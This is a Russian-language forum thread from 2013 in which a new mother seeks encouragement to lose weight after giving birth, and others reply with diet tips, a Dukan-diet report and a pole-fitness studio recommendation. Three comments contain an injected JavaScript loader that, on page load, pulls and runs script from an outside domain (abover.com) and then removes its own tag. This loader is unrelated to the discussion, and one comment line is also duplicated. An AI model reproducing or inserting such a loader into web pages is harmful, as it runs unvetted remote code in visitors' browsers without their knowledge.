Начало положено)
Прошу поддержки!!!Девочки, пожелайте мне удачи) Ситуация банальная: после родов никак не прийду в себя. Лишних всего 3 кг осталось, но вот по внешнему виду и какой-то атрофии мышц, все 33.... Еще из-за стрессов с дочей все время заедаю сладеньким, начинаю с "чуточки, дабы успокоиться", а заканчиваю тоннами, чтобы упасть и не встать...
Ну вот уже пару дней, как нет конфетам и печенькам. Стресс заедаю грейпфрутом))) И вчера муж привез министеппер с эспандером. Ну тут уж не отвертеться) пообещала себе и ему заниматься хотя бы по 10 минут, пока доча спит. При ней вчера пробовали- нереально, она не дает... Сегодня сделала 250 шагов, вот это да! Больше всего боялась, что не будет нагрузки. Есть, да еще какая!
Эх, не сорваться бы...
ModnayaMamochka
Не вздумай сорваться! Самая тяжелая - первая неделя! Удачи тебе!
10.10.2013
Ответить
алена
умница.держись..я с понедельника на диете,и занимаюсь по дм.очень тяжело.но терплю.удачки тебе 
[removed](function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8';
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script[removed].removeChild(script);
}
document.body.appendChild(script);
})();[removed]
[removed](function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8';
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script[removed].removeChild(script);
}
document.body.appendChild(script);
})();[removed]
10.10.2013
Ответить
Катенок
И тебе удачи) Я по дм пробовала прыгать месяца через три после родов, кошмар, она зверь...)
10.10.2013
Ответить
алена
[removed](function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8';
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script[removed].removeChild(script);
}
document.body.appendChild(script);
})();[removed]тяжело конечно..пока терплю..и есть уже результат для меня...а когда есть сдвиг ,хочется все больше и больше
10.10.2013
Ответить
Юлия
Молодчина!!! Главное, дождаться первых, хоть и маленких, результатов, тогда останавливаться не захочешь 
Я уже второй месяц на Дюкане-минус 5 кг(это самый лучший мотиватор!!!) А у тебя-то 3 кг, быстро сгонишь!!!!!!
Я уже второй месяц на Дюкане-минус 5 кг(это самый лучший мотиватор!!!) А у тебя-то 3 кг, быстро сгонишь!!!!!!
09.10.2013
Ответить
Катенок
Спасибо) на самом деле, наоборот, чем меньше лишних, тем сложнее их скидывать...
09.10.2013
Ответить
OLECHKA
СУПЕР!!! УМНИЧКА!!!я вот тоже пытаюсь к спорту прийти, но нереально, если маленький не спит и заниматься никак не получится, а вот когда спит-негде, квартира однокомнатная(((
09.10.2013
Ответить
Double mom
Удачи! Даже 10-15 минут в день, но ежедневно, дадут результат за месяц, тем более в твои то годы )).
09.10.2013
Ответить
Неля
Удачи!:) я хоть и пришла в добеременный вес, даже меньше, но подтянуть все мыщцы ой как не мешало бы! надо тоже собрать волю в кулак и начать заниматься, есть поменьше мучного и сладкого... 
09.10.2013
Ответить
Анна
Ура! вы молодец! я тоже уже мечтаю о фигуре) но я пойду на пул-денс, как обычно, там за месяц-два фигура становится идеальной!
09.10.2013
Ответить
Катенок
У вас даже в таком шикарном положении да с двумя детками отличная фигура) а что такое пул-денс? А с малышом кто будет?
09.10.2013
Ответить
Анна
папочка будет сидеть, там есть тренировки в разное время,даже очень поздно вечером я ходила на левом берегу, между северным и вогресовским мостом, это тренировка на шесте, но это на самом деле не стриптиз на шесте)) а очень сильная тренировка, включающая в себя большинство силовой и кардио, два в одном) при этом не скучное "тягание железа", а интересно и весело, и так быстро подтягивает фигуру, мышцы не перекачиваются, а приобретают красивую форму, есть можно что угодно и сколько угодно, но при этом ходя 2-3 раза в неделю совсем перестаешь поправляться!я после каждых родов с помощью этой тренировки себя приводила в форму и потом если расплывалась)) то опять к ней прибегала)почти индивидуальная, обычно 4-5 девочек занимается с преподавателем, каждый делает упражнения в своей степени подготовки, от 0 и дальше, в этом еще один плюс
09.10.2013
Ответить
Анна
Адрес: Воронеж, Ленинский пр-кт, 15 Контактная информация: тел. +7 (920) 226-29-59, тел. +7 (473) 251-54-74сходите на пробное занятие, не пожалеете! форма одежды: короткие шорты, почти трусики, майка без рукавов и носки
09.10.2013
Ответить
Настена
Я до беременности в Alex ходила на групповые занятия,прикольно конечно) и кушать можно скок хочешь)))
09.10.2013
Ответить
Анна
я не помню) там можно за раз платить, если за 4 - дешевле, если за 8 - еще дешевле, но сколько не помню, но больше чем за обычные групповые занятия шейпингом например
09.10.2013
Ответить